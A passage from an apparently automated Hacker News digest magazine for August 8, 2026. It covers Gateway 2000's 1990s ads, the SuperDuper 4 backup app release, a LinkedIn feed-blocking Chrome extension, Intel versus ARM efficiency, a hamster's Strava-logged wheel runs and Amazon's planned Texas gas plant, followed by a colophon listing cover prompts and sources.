By December of 1993, Gateway was running cheesy 26-page Christmas ads in Byte and had expanded from a manure-ridden livestock exchange building to the Nasdaq stock exchange.

In the center of the advertisement is a psychedelic scene depicting a bunch of people dressed as hippies. They are surrounding and looking into a box that is glowing from inside.

Byte Feb ‘94 via byte.tsundoku.io

A few not-so-obvious things worth noting about this ad include (but are not limited to!): 

  • The cosmic ennui of the woman standing at one o’clock.
  • The creepy ogling of Mr. Sunglasses.
  • The massive downer of dedicating the page to a dead customer.
  • The historical context that these two pages (along with the 13 others in this ad buy) ran when Gateway 2000 was more corporate and plagued by customer complaints than ever.

Sure, the company was hoping to crack the corporate buyer market, but a public SEC filing claimed that, until that happened, “over 50% of the Company's business is believed to be attributable to either previous buyers of Gateway 2000 PCs or new customers referred by previous buyers.” So, in an effort to shore up its base, technical support headcount was doubled, its one-year warranties were tripled, replacement parts were bumped up to one-day deliveries, and the phone lines were open 24 hours.

Still, What’s Luck Got to Do With It cited a market research study from around this time that claimed 87% of potential buyers knew little to nothing about Gateway 2000, hence the spray-and-pray approach to increasing brand awareness. But surely they could have done better than Julius Caesar getting stabbed (while buying eucalyptus lip balm?) because “Sometimes it’s hard to know who to trust,” preceded a few pages earlier by the Leaning Tower of Pisa guy opining that “Mama-mia! What’sa matta me! That’sa last time I buy a kit from the Towers-R-Us catalog.”

"We get horrible marks from the marketing-guru types," Waitt told Inc. Magazine a few years earlier. "But it seems to work." By 1995 Gateway 2000 had purchased additional manufacturing facilities in Virginia and Malaysia, and scooped up an 80% stake in one of Australia’s largest computer retailers–revenues were up to $3.7 billion.

On the right side of the advertisement is a mock dialogue for the staged scene on the left side of the ad: a man and woman are in a wealthy living room. The man is wearing a smoking jacket and holding a drink while looking judgmentally at a woman looking stressed while lounging on an expensive sofa.

PC World Feb ‘95 via Archive.org

This faux soap opera nails all of my criteria for a Bad Ad. There are a full 230 words wasted on Simone’s “bouts of schizophrenia,” public nudity, and mixed up medications before mention of the first hardware spec. And even if the story was more concise and the details better integrated, how is soap opera parody more relevant to the target audience than, say, IT Crowd style satire. All of that to say nothing of the white-on-yellow text near the top or black-text phone number hiding in shadow near the bottom. It’s a trifecta of terrible!

Of course, this was the same company that shipped an enveloped ad where an insert would transform from black-and-white to color as you pulled it up and out. Waitt was so mad when the intitial quote came back at $3 per piece that he “had the ad printed locally and paid church groups, employees on their free time, and temporary workers to assemble it. The ad came in ‘far under’ that original price.” It’s not hard to organize events like that when your personal assistant is the former mayor of the city your $3-billion-a-year business operates in.

Like almost all of the ‘93-’96 Gateway 2000 magazine ads, As The Hard Drive Turns was actually several loosely related vignettes printed across 10+ pages in Byte, PC World, and Computer Shopper. Sometimes appearing two months in a row with almost imperceptible updates in the interim.  

On the left side of the advertisement is a mock dialogue for the staged scene on the right side of the ad: a man and woman are in a collapsed building. The woman is yelling at the man while he looks at a computer screen.

Computer Shopper Mar ‘95 via Archive.org

Please, if you only take the time to open and read one ad from this issue, beginning to end, make it this one. “Come to me you stud muffin…love in the rubble awaits us!” Julia the Successful Realtor begs, only for Trevor the Sexy Construction Worker to swat away her advances as he reads off the P5-75’s “bodacious features” while…viewing a screen grab on the monitor of the barely different ad version from the previous month? Sure, why not.

This is, hands down, peak Bad Tech Ads. What started in the early 80s as costumed old men confusing then-cutting-edge hardware with science fiction eventually evolved into Gateway 2000’s perfected pastiche of puns and pop culture, allusion and allegory. It’s all downhill from here, folks, for Ted Waitt, for Gateway 2000, and delightfully campy computer marketing in general.

Ted Waitt, CEO of Gateway 2000 is driving a boat painted with cow spots (there's also a spotted motorcycle in the boat) while being pursued by two other boats, a jetskit, and a helicopter, parodying a James Bond scene.

PC World Aug ‘95 via Archive.org 

Once again, we have Ted himself starring in an elaborately staged, costumed, and produced multi-page Gateway 2000 saga. In fact, I’m willing to bet either the cow-spotted boat or motorcycle on this page, or the private jet on the last page, or all three, are not props but from Waitt’s real-life garage. And maybe I’m trying to bend history to fit my narrative, but it just isn’t as fun as his appearance in the saloon spread or the Robin Hood shoot. Those were stories of geeky underdogs beating the odds. Agent 2000 is about a rich, well-equipped, veteran agent effortlessly outperforming B-movie henchmen to “Defend All PC Buyers.” I could not care less.

Still, Gateway 2000 retained most of its hard-earned reputation for another year or two. It launched its first website in 1996, the same year it began opening brick-and-mortar stores in the suburbs, where it would show off the poorly reviewed and quickly discontinued Destination 2000 home entertainment PC/TV/modem.

But in 1997, the company began ditching its iconic Holstein cow branding “in an attempt to refine its image,” and started gobbling up companies like Amiga. A year later it dropped “2000” from its name and moved its headquarters to San Diego, so Waitt could spend more time at his 16,000 square-foot, mountaintop property in La Jolla. 

"The thing I would definitely do over again is the whole San Diego thing," Ted told the Sioux City Journal in 2007. "That was probably the single biggest mistake."

Things didn’t calamitously implode. But the decline was obvious. Ted resigned in 1999, with each successive product performing worse than the last, and the dot-com bubble destroying the balance sheet.

You can still buy Gateway computers today, manufactured in Shenzhen and sold exclusively through Walmart.com. But you won’t see Waitt in any 12-page spreads advertising them. And you won’t get to brag that you own a computer from Iowa.

Cited References:

Uncited References:

The Daily Front Page 19 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Backup, Reconsidered
article

SupererDuperer

by zdw·▲ 162 points·35 comments·shirtpocket.com ↗
22 years. SuperDuper has had an impressive run.

Executive Summary

Brand new, top-to-bottom rewrite of SuperDuper now available.

All the Details

22 years.

SuperDuper has had an impressive run. It has lasted, in its original form, for longer than any other product I’ve ever been involved with over the (so far) 43 years of my working career. Somehow, Shirt Pocket—and SuperDuper—has been more than half of that. Over those years, most of the design decisions made way back in 2004 have proven to withstand the test of time:

  • The text-based What’s going to happen? section;
  • The status view that clearly shows the process that’s taking place during the copy, ticking off the steps as it goes along;
  • The minimal number of options that let you stay focused on the task at hand.

At the same time, some choices constrained what the program could do:

  • It was document-based, which made sense at the time, but wasn’t really how users thought about the process;
  • Scheduling was a bit of a bolt-on (and suffered from a disastrous initial usability test before release), driving the interface through scripting (RIP AppleScript, hello direct event dispatch from Swift) and isolating its details in a separate window, divorced from the source;
  • Copy failures, while rare, basically gave a “whoops” and asked users to examine a log filled with technical details of the error;
  • Only “native” Apple file systems were supported (HFS+ and APFS);
  • And some concepts, like the Sandbox—great in the days of macOS before the Sealed System Volume—were rendered obsolete, sent to the land of wind and ghosts by Apple’s relentless forward march.

I could go on: products are a combination of good and bad, of success and failure, and I learned to live with the (mostly good!) balance.

Dreams Become Reality

Back in 2007, I designed what was intended to be SuperDuper v3.0. It was a rewrite that greatly expanded its capabilities while retaining its essence.

But, in those days, it just wasn’t possible for us to implement those grand plans. The new UI was much more complex, the logic more elaborate, and the systems we had then didn’t support the things needed to make it a reality without a lot of complex coding we didn’t have time for.

On top of that, macOS itself was a moving target (and still is!): adding and deprecating features; completely changing the file system; locking down the OS; supporting not just one change in CPU, but three.

With a tool so tied to how the system operated at a low level, it was a lot of work just keeping up with what Apple was doing.

So, I put the notebook with that design in it on a shelf.

For nearly 20 years.

Today, I’m happy to say that I’ve finally been able to carve out enough time to grab that “old” redesign, flesh it out further, modernize it, and make that dream a reality.

Welcome to SuperDuper! 4

SuperDuper! 4

The new version of SuperDuper is a ground-up rewrite, a tip-to-tail reinvention of what SuperDuper looks like, how it works, what it can do, and where I can take it in the future.

The new version feels different, yet familiar. The successful elements of SuperDuper’s design, like What’s going to happen? and the status view, are still there, but they’ve been refreshed and modernized.

Documents have been retired and replaced with Copy Jobs, which are stored internally and organized by source. If you want to copy Macintosh HD, that’s where you start. Click, and you’re presented with one or more template copy operations, or you can start from scratch.

Configuration is done right inline by clicking bold, underlined link elements and selecting options from pop-ups. The effect of your choices is immediately reflected in What’s going to happen?, ensuring you know what to expect when you click Copy Now.

Preview

And if you’re still unsure, you can safely see what’s going to happen…for real. Click the Preview button and SuperDuper will run the copy without making changes and present you with a report that shows exactly what would have been updated, added, deleted, etc., had this been a real run.

Blazing Speed!

Once you decide it’s time to make the copy, SuperDuper 4 is much faster than before. And I’m not just talking 20% or 30% faster. Smart Updates are between 2x and, with the new Turbo feature, an order of magnitude faster.

As an example, my typical nightly Smart Update, of an 8-million-file volume, about 2.5TB of data, used to take around 40 minutes to run.

Without Turbo, it now takes about 20 minutes. But with Turbo…it’s only about a minute.

One minute. OK, yes, sticklers—that’s actually quite a bit more than an order of magnitude. ¯\_(ツ)_/¯

History

Successful and failed runs are shown at the bottom of the copy job, with color-coded dots that can be clicked to display details.

If scheduled, a clear indication of when the next run will occur is there as well. And for those going for the Guinness Book of Backup Records, there’s an indication of how many successful runs this job has done in a row.

No UI Needed

At a technical level, SuperDuper has been split into a “helper” or “server”, which runs the copy, and an interface, which is the part you interact with. That means that, once registered, you can quit the SuperDuper application and your backups will still run. They’ll even run if you log out!

It also means that a scheduled copy doesn’t suddenly show the interface. It just happens, in the background.

If a copy is in progress, re-opening the app will show you the status and progress of the copy—and while a copy is going on, a menu bar item is present to show a compressed view of the same information.

Many Copies at Once

You can run any number of copies at the same time. If you have four backups you need to do, just click Copy Now for each, and they’ll all run simultaneously.

Have four backups scheduled to run at 4am? They’ll all run at that time, rather than back to back.

File Systems and Folders

SuperDuper 4 now supports copying to and from any file system the Mac supports. Using a “Photos” drive with both Windows and Mac that’s formatted as exFAT? No problem: you can copy it.

Need to copy your Documents folder to “Documents Backup” on a NAS? Now you can.

Have a network volume that you want to copy to a local folder? SuperDuper 4 can do it.

Copy Rules

Copy Scripts have been replaced by Copy Rules. Now, you can easily create rules that can select files and folders from the source or destination for special handling. Need to ensure that a specific folder is never written to or deleted? You can do that with a few clicks.

Want to exclude any folder named Caches in /Library? No problem. And you can see the effect of your rule as you create it, so you can be sure you’ve done the right thing.

No More Shell Scripts

I’ve added Shortcuts support, so you can create a shortcut that runs before or after a copy, on success, or on error. Want to send an email on success or failure? Beep when copies are done? It’s now easy, and with Golden Gate’s Apple Intelligence shortcut support, anyone can do it.

Or, at least, probably anyone.

And if you still want to run a shell script, you can…from the shortcut.

Speaking of Shortcuts

Not only does SuperDuper let you call a shortcut from a copy—you can create, run, and check on a copy job from a shortcut!

If you have an unusual workflow—say, you want to copy any SD card with photos on it to a folder named after that card—you can now do it with a few clicks.

…And So Much More

This is already (much) too long, but there’s so much new stuff that I’ve been wanting to show you. I hope you’re as excited to use this as I am to get it into your hands after all this time.

System Requirements

SuperDuper 4 requires macOS 14 (Sonoma) or later. SuperDuper 3 is still available for those who need to copy under macOS 13 (Ventura) or earlier.

Upgrades

In all the years SuperDuper has been on the market, we’ve never charged for updates and never even raised the price. That’s 22 years of free updates.

SuperDuper 4 is a totally new version, far more capable than before, and as such, I’ve decided this is going to be its first paid upgrade. I’ve also adjusted the price for inflation since 2004. So it’s still the same bargain it was back when it was first released, but in today’s dollars.

SuperDuper 4 is free for qualifying recent purchases. Other SuperDuper 3 customers who purchased after July 31, 2020, receive an upgrade discount of up to 30%, based on purchase date.

As before, even without a license, you can make full, bootable backups for free, and I (yes, it’s really me, I work too much) provide support for both registered and unregistered users.

Dinner’s Served

I’ve been looking forward to this day for a long time, and now that the day has finally arrived, I’m excited to see what you think. Reach out to support if you have any questions, praise, or, if you must, complaints.

And please register or upgrade! The only way I can continue to do this is with your financial support. If you like SuperDuper, share the love and tell your friends!

With that:

Download SuperDuper 4

The Daily Front Page 20 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Tools, Chips & Small Joys
repository

LinkedIn Feed Blocker

by andrewpollack·▲ 170 points·99 comments·github.com ↗
★ 78⑂ 3 forks Shell

A minimal Chrome extension that removes LinkedIn's home feed while keeping the rest of LinkedIn usable.

A minimal Chrome extension that disables LinkedIn's home feed while keeping the rest of LinkedIn usable.

Install

Chrome Web Store: Currently pending review. The listing will be available shortly here. In the meantime, follow the manual installation instructions below.

What it does

  • Hides the entire main feed on /feed
  • Blocks infinite-scroll feed pagination
  • Leaves profiles, jobs, search, messaging, notifications, and other LinkedIn features alone

Why?

I like LinkedIn for finding jobs and chatting with recruiters. I do not like being greeted by the wild-west social feed.

After having "experienced" the Before image below, I decided to do something about it. Hence, this extension.

Before / After

Before After Before: LinkedIn home page showing the full social feed, including a large post about a recruiter that 'came' on someone's profile. Yes, as-in that 'came'. After: LinkedIn home page with no posting feed.

Manual install

  1. Download or clone this repository somewhere permanent on your computer.

  2. Open Chrome and go to:

    chrome://extensions
    
  3. Enable Developer mode in the top-right corner.

  4. Click Load unpacked.

  5. Select the linkedin-feed-blocker directory.

  6. Reload LinkedIn.

The extension will remain enabled unless you disable or remove it from chrome://extensions.

Developer Notes

Updating

After changing manifest.json, rules.json, or feed.css:

  1. Open chrome://extensions
  2. Find LinkedIn Feed Blocker
  3. Click Reload
  4. Reload LinkedIn

How it works

feed.css

Hides LinkedIn's main feed, including the post composer:

[data-testid="mainFeed"] {
  display: none !important;
}

rules.json

Blocks requests for additional main-feed posts by targeting:

sduiid=com.linkedin.sdui.pagers.feed.mainFeed

The rule intentionally targets LinkedIn's mainFeed pager instead of the generic pagination endpoint, which could interfere with other parts of LinkedIn.

The Daily Front Page 21 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Tools, Chips & Small Joys
article

Can Intel finally beat ARM on performance per Watt?

by gumby·▲ 182 points·141 comments·hackaday.com ↗

XPS v Neo

With a title like “Intel Just Matched Apple Silicon. Seriously.“, the latest video from [Jeff Geerling] makes some pretty bold claims. But as we’d expect from [Jeff], he’s got the benchmarks up on GitHub for both the MacBook Neo and Dell’s latest XPS 13 to back it up.

We’ve embedded the full video below, which has [Jeff]’s comparative review of the two laptops. The Mac wins on iGPU, sound, and not shipping Windows, while the Dell gets points for being able to load Linux and having a backlit keyboard. But the figure we were hoping to see is the efficiency. After all, it’s ARM’s ability to crank out gigaflops on fewer watts that won them the mobile market and got Apple interested in that architecture in the first place. If Intel is catching up, that’s news.

On [Jeff]’s version of the Top500 benchmark — the same HPL Linpak test used for Supercomputers — the MacBook cranked out 57.012 Gflops at 10.6W, for 5.38 Gflops/W while the Dell managed 127.91 Gflops at 20.6W, for 6.21 Gflops/W. That’s just astounding, considering the historical data all goes the other way. This Dell also beats out both M4 and M3 Mac Studios, only failing to the M4 Mac Mini at 7.57 Gflops/W. Even when not crunching big numbers, say at idle or web browsing, the XPS matches the MacBook sip for sip in energy efficiency.

Some people have been saying for a few years now that ARM’s observed advantages in power consumption have more to do with the chips themselves than the instruction architecture, and it looks like the Core 5 320 chip in this Dell proves them right when it comes to x86.

While you might think you need to code in Assembly or C to maximize those efficiency gains, your choice of language may not be as important as you think.

The Daily Front Page 22 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Tools, Chips & Small Joys
article

k-Coloring is Faster than Computing the Chromatic Number

by matt_d·▲ 69 points·17 comments·arxiv.org ↗

We prove that $k$-coloring on $n$-vertex graphs has a randomized algorithm running in time $(2-\varepsilon_k)^n$, where $\varepsilon_k>0$ for every fixed $k$. Previously, only the cases $k\leq 6$ were known to have faster solutions than the general $O^\star\bigl(2^n\bigr)$ time algorithm of [Björklund, Husfeldt, Koivisto, SICOMP 2009] that computes the chromatic number.
We resolve this long-standing open problem by generalizing and combining tools from the $(k+2)$-coloring to $k$-list-coloring reduction of [Zamir, ICALP 2021] and the hypergraph-containers based approach in [Zamir, STOC 2023]. Together with new algorithms for list-coloring instances mixing long and short color lists, this yields an iterable reduction from $(k+1)$-list-coloring to $k$-list-coloring over fixed palettes.

The Daily Front Page 23 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The Night Shift
article

A physicist rigged his pet hamster’s wheel to upload to Strava

by aanet·▲ 426 points·97 comments·runnersworld.com ↗
It runs surprisingly far every night.

A strava post of person holding a small brown hamster in their hand against a hamster wheel

I use Strava for the obvious stuff, like runs, HIIT classes, and the occasional commute that goes full workout when I’m desperate to get my steps in. I’m not a pet owner, but I can understand a dog walk making it on there, too. The dog may be involved, but at least you’re still the one doing the walking.

But workouts uploaded from a hamster wheel? That feels like new territory.

Thijs de Buck, an MRI physicist based in Utrecht, the Netherlands, recently posted on Reddit that he built a speed and distance tracker for his hamster’s wheel, with the data automatically uploaded to Mollie’s own Strava account. Mollie, his 10-month-old hamster, is now committed to logging nightly runs with distance, pace, and time.

One recent activity showed 6.06 miles in 4 hours and 37 minutes. The next night, Mollie logged 5.55 miles in 3 hours and 56 minutes.

View full post on Strava

At first, de Buck just wanted to know how much distance Mollie was covering after dark.

“I bought a very cheap bicycle computer pretty much right away,” he told Runner’s World.

That worked at first, because the bike computer also used a magnet and sensor. But there was one very hamster-specific problem to deal with, as the sensor would shift into standby mode once Mollie stopped running for more than five minutes.

“So if Mollie would take a lunch break at 1 a.m., we’d have no idea how far he’d have run after that,” de Buck said.

The bike computer also only gave him total distance, and that just wasn’t going to cut it. De Buck wanted the full Strava treatment because apparently even hamsters deserve splits, uploads, and post-run analysis.

The build itself is clever, but the basic idea is simple. As de Buck explains it, a magnet on the wheel passes a hall sensor, which detects each rotation. An ESP32—basically a tiny programmable computer—keeps track of the data overnight. In the morning, he says a script on his laptop collects the information, turns it into a Strava-compatible .FIT file, and uploads the activity through the Strava API.

“All that remains is for me to manually add a photo of Mollie, and for Mollie to do the actual hard work during the night,” de Buck said.

De Buck could have stopped once the runs were uploading, but a hamster Strava account needed all the extra features. There’s a tiny organic light-emitting diode (OLED) display to show Mollie’s live speed, a code that helps for automated personal-best tracking, and more than 100 possible run titles, including “The Fast and the Furriest” and “No Rest for the Whiskered,” naturally.

Display showing speed of 2.60 km/h on an electronic module attached to a food box.

The one thing he didn’t plan for was that auto-uploading the files this way required a paid account.

“There was really only one reasonable solution: my hamster now has Strava Premium,” de Buck said.

A hamster with this much performance data was always going to find an audience. De Buck said the account picked up thousands of likes, more than 1,200 kudos, and more than 600 followers within a week. He also signed Mollie up for Strava’s August 400-minute challenge, and Mollie completed it on Day 2—a wake-up call for anyone still ignoring their own monthly challenges.

Mollie has been with de Buck since Christmas, and his life outside training sounds, quite frankly, pretty focused. De Buck described it as “eat-sleep-run-repeat,” with Mollie spending much of the day hidden underground before waking up and alternating between food and wheel time.

A man points excitedly at a hamster running in its wheel inside a small pet cage.

De Buck and Mollie during a recent training session.

And the little guy’s not exactly phoning it in. De Buck said Mollie is averaging almost 10 kilometers per night, with a current record of 10.8 kilometers after the first week of tracking.

“I really believe he’ll be able to exceed that soon,” he said.

Mollie also has a weirdly consistent schedule for a hamster. Over one seven-day stretch, he started within the same 10-minute window on five nights, between 9:54 and 10:04 p.m. He tends to run in short bursts, sometimes reaching about 4 to 5 kilometers per hour on the live monitor, then hops off for water.

“Even elite athletes need to stay hydrated,” de Buck joked.

De Buck is a runner himself, which helps explain why the project ended up with this level of data. He said he loves “tracking every possible stat” during marathon training, so wanting more information about Mollie’s nightly mileage felt natural. He is also dealing with a minor injury at the moment, which gave him more time to work on the setup.

“When I get back, I think it’ll be a nice challenge to try to match Mollie’s weekly running distance,” he said. “I don’t normally hit 70km a week!”

The next milestone is Mollie’s 20th run, when Strava should start giving race predictions.

“I can’t wait to see his estimated 5K and marathon times,” de Buck said, “and whether he’ll manage to improve those predictions over time! Although I’m a bit worried he’ll have a better marathon time than me.”

The Daily Front Page 24 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — In Brief
article

Amazon Is Creating the Biggest Pollution Source in the Country

by geox·▲ 216 points·144 comments·newrepublic.com ↗

Amazon has bought a site in Texas where it plans to build a data center campus.

The Amazon logo on the outside of a building

Xavi Lopez/SOPA Images/LightRocket/Getty Images

Amazon is quietly trying to build the biggest gas power plant in the country.

The Distilled newsletter reported Friday that the megacorporation has bought land and acquired permits in Pecos County, Texas, for an AI data center powered by a 7.65 gigawatt gas power plant. The plant will be completely separate from Texas’s power grid, at least in the beginning, the permits show.

The site, known as GW Ranch, got a state permit allowing the proposed power plant to emit 33 million tons of carbon dioxide, which would make it the biggest pollution site in the U.S., emitting more than the country’s biggest coal power plant, according to Distilled. That’s in sharp contrast to Amazon’s commitment to reach net-zero emissions by 2040 as part of The Climate Pledge.

Amazon filed three construction permits with the state of Texas this week to build three data center buildings immediately upon approval. Land clearing has already begun, according to satellite imagery. Amazon would join Microsoft, Google, and Meta in having its own off-grid gas power.

Amazon says that it has 10 gigawatts of carbon-free energy across 40 projects to power its existing data center operations in Texas, and that the GW Ranch will use brackish groundwater that isn’t potable and thus can’t be used for irrigation or drinking.

But that’s not likely to quell public opposition. Data centers are hugely unpopular across the country among Republicans and Democrats, both in rural and suburban areas. The centers don’t create many jobs or boost local economies. If connected to local power grids, they can drive utility rates up and cause black- and brownouts. Amid climate change and droughts, the claim that data centers will take advantage of unusable water will likely invite skepticism.

The fact that Amazon is building its own power plant for the project will be a small comfort for residents worried about utility rates, but locals still will have concerns about pollution from a gas plant bigger than any other in the U.S. Rural Texas is deeply Republican, and despite President Donald Trump’s delusions about data centers’ popularity, opposition to them on the right is growing. Now that this project is public, a big backlash could soon follow.

The Daily Front Page 25 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Also on the Front Page
The Daily Front Page 26 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Colophon

That's the Front for Today

Issue No. #260808 — Saturday, August 8, 2026 — went to press 2026-08-09 at 05:56 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Saturday, August 8, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages, chose the highlights, and briefed the cover illustrator — 29 model calls and 232k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

A single dramatic twilight scene in a vast, dimly lit control room: a tiny hamster runs energetically inside a polished brass exercise wheel connected by delicate wires to a glowing weather-forecasting supercomputer, while through enormous windows a spiraling cyclone churns over a dark ocean and a small, aging deep-space probe glides among the stars above. Engineers and students stand in silhouette watching the improbable apparatus, with warm amber instrument light contrasting against electric blue storm clouds; classical newspaper-illustration realism, intricate technical detail, cinematic scale. No text, letters, logos, or signage.

Reduce the cover to a Bauhaus-inspired geometric poster: use a tiny vermilion circle in a polished ochre-gold ring, linked by fine black lines to a large cobalt-blue block with a luminous yellow core; frame this apparatus with monumental cream window rectangles, a deep ultramarine spiral and black ocean plane beyond, plus a small cobalt-and-yellow angular probe among sparse white star dots, while compact black silhouette blocks for engineers and students observe from the lower edge; organize all relationships with crisp diagonal planes, flat primary-color fields, hard edges, and poster-like lighting, using a deliberate palette of cobalt blue, vermilion red, golden yellow, cream, and near-black, with no text, letters, logos, or signage.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 26 140,604 64,639
layoutgpt-5.6-terra 1 18,064 2,374
covergpt-5.6-luna 1 360 255
covergpt-image-2 1 289 5,488

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. “Code was never the hard part” is an insult to all programmers by senko — blog.senko.net·HN discussion ↗
  2. Timeline of the OpenAI accidental attack against Hugging Face by 882542F3884314B — simonwillison.net·HN discussion ↗
  3. Hardware backdoors in some x86 CPUs by epestr — github.com·HN discussion ↗
  4. From your doorbell to your home network by mmoogle — adepts.of0x.cc·HN discussion ↗
  5. DeepMind's WeatherNext model achieves breakthrough forecasting cyclones by bhavansig — deepmind.google·HN discussion ↗
  6. NASA figured out how to keep its Voyager 2 probe running for another year by wglb — space.com·HN discussion ↗
  7. Voyager 1 FDS Computer Emulator by rahen — zaneham.github.io·HN discussion ↗
  8. Europe's free satellite service just made it easier to track wildfires by 01-_- — arstechnica.com·HN discussion ↗
  9. Workers Drilling in Romania Broke into a Cave Sealed for 5.5M Years by yk — travelandtannins.com·HN discussion ↗
  10. Danish high schoolers will have to verbally defend written assignments by theanonymousone — mezha.net·HN discussion ↗
  11. Fastmail offers EU data region by groomlake — fastmail.com·HN discussion ↗
  12. _for-sale DNS records by shaunpud — specification.website·HN discussion ↗
  13. BYOC Anywhere: The Spectrum of Bring Your Own Cloud Deployments by kkgupta — omnistrate.com·HN discussion ↗
  14. From One Seed to a Thousand Leaves – Merkle's Authentication Tree by denismenace — 0xkrt26.github.io·HN discussion ↗
  15. Triton: DirectX 11 Driver for QEMU by electricant — blog.getutm.app·HN discussion ↗
  16. ao486: x86-compatible Verilog core implementing all features of a 486 SX (2014) by csmantle — github.com·HN discussion ↗
  17. Gateway 2000's hilariously bad ads in the 90s (Part II) by rfarley04 — buttondown.com·HN discussion ↗
  18. SupererDuperer by zdw — shirtpocket.com·HN discussion ↗
  19. LinkedIn Feed Blocker by andrewpollack — github.com·HN discussion ↗
  20. Can Intel finally beat ARM on performance per Watt? by gumby — hackaday.com·HN discussion ↗
  21. k-Coloring is Faster than Computing the Chromatic Number by matt_d — arxiv.org·HN discussion ↗
  22. A physicist rigged his pet hamster’s wheel to upload to Strava by aanet — runnersworld.com·HN discussion ↗
  23. Amazon Is Creating the Biggest Pollution Source in the Country by geox — newrepublic.com·HN discussion ↗
  24. Open-source interactive map for the Aug 12 total solar eclipse by MarcoDewey — eclipsefan.org·HN discussion ↗
  25. TinySol, a tiny solitaire game for DOS by skibz — classicbits.net·HN discussion ↗
  26. U.S. Department of Energy Launches the Genesis Open Models Initiative by moelf — genesisopenmodels.anl.gov·HN discussion ↗
  27. US Military's cyber command unit grapples with cluster of deaths by suicide by rbanffy — bloomberg.com·HN discussion ↗
  28. The Nixpkgs core team has disbanded by Meleagris — discourse.nixos.org·HN discussion ↗
  29. Gentoo bugzilla closed due AI bot scraper overload by happosai — social.treehouse.systems·HN discussion ↗
  30. Preventing Misfolding by Preventing Folding by surprisetalk — science.org·HN discussion ↗

Browse all issues in the archive →